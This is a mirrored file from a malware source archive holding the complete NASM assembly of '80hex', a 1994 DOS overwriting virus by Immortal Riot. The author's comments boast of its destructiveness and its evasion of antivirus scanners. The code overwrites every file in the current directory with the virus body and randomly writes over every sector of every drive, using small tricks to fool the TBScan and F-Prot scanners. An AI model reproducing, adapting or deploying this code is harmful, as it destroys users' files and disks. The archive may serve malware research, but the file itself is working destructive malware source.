mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
88 lines
2.4 KiB
NASM
88 lines
2.4 KiB
NASM
; ------------------------------------------------------------------------------
|
|
; - 80hex virus -
|
|
; (c) 1994 The Unforgiven/Immortal Riot
|
|
|
|
; Pay-Load function:
|
|
; This will be dropped to the file c:\dos\keyb.com, that often
|
|
; is called from autoexec.bat, which will result in that all files
|
|
; in DOS being overwritten. Eventually all hds will be trashed as well.
|
|
|
|
; General-information:
|
|
; It's a simple overwriting virus, BUT not released 'alone' as
|
|
; the purpose as a virus that will infect systems and travel
|
|
; around the world. It's rather an original pay-load, outsmarted
|
|
; by my creative/destructive brain.
|
|
|
|
; It's not encrypted, still *NO* anti-virus detects it, this is probably
|
|
; due to its simplistic shape. It's *highly* destructive, and is really
|
|
; more or less a trojan. But it can replicate, so...
|
|
|
|
; Greetings to all destructive virus writers!
|
|
; - The Unforgiven/Immortal Riot
|
|
|
|
|
|
;Riot.trivial.80h
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
start:
|
|
dec byte ptr offset files ; tricking tbscan !
|
|
add ah,4eh ; tricking f-prot !
|
|
mov dx, offset files
|
|
next: int 21h
|
|
|
|
jnc open
|
|
|
|
mov ah,2ch ; Value of 1/100 of a second
|
|
int 21h
|
|
cmp dl,79 ; 20%
|
|
jb quit ;
|
|
|
|
mov al,2h
|
|
|
|
drive: ; Harddrive, seek and destroy!
|
|
mov cx,1
|
|
lea bx,virus
|
|
cwd ; clear dx (ax = <8000h)
|
|
Next_Sector:
|
|
int 26h
|
|
inc dx
|
|
jnc next_sector ; all sectors
|
|
inc al
|
|
jmp short drive ; all drives
|
|
|
|
quit:
|
|
ret
|
|
|
|
open:
|
|
inc byte ptr offset files
|
|
|
|
add ax,3d02h
|
|
mov dx, offset 9eh
|
|
int 21h
|
|
|
|
write:
|
|
xchg ax,bx
|
|
|
|
mov ah,40h
|
|
mov dx, offset start
|
|
mov cx, endoffile - start
|
|
int 21h
|
|
|
|
close:
|
|
sub ah,2
|
|
int 21h
|
|
|
|
mov ah,4fh
|
|
jmp short next
|
|
|
|
data:
|
|
files db "+.*",0 ; => *.*
|
|
virus db "Materialism - the religion of today, "
|
|
truth db "ain't it sad?"
|
|
|
|
endoffile:
|
|
end start
|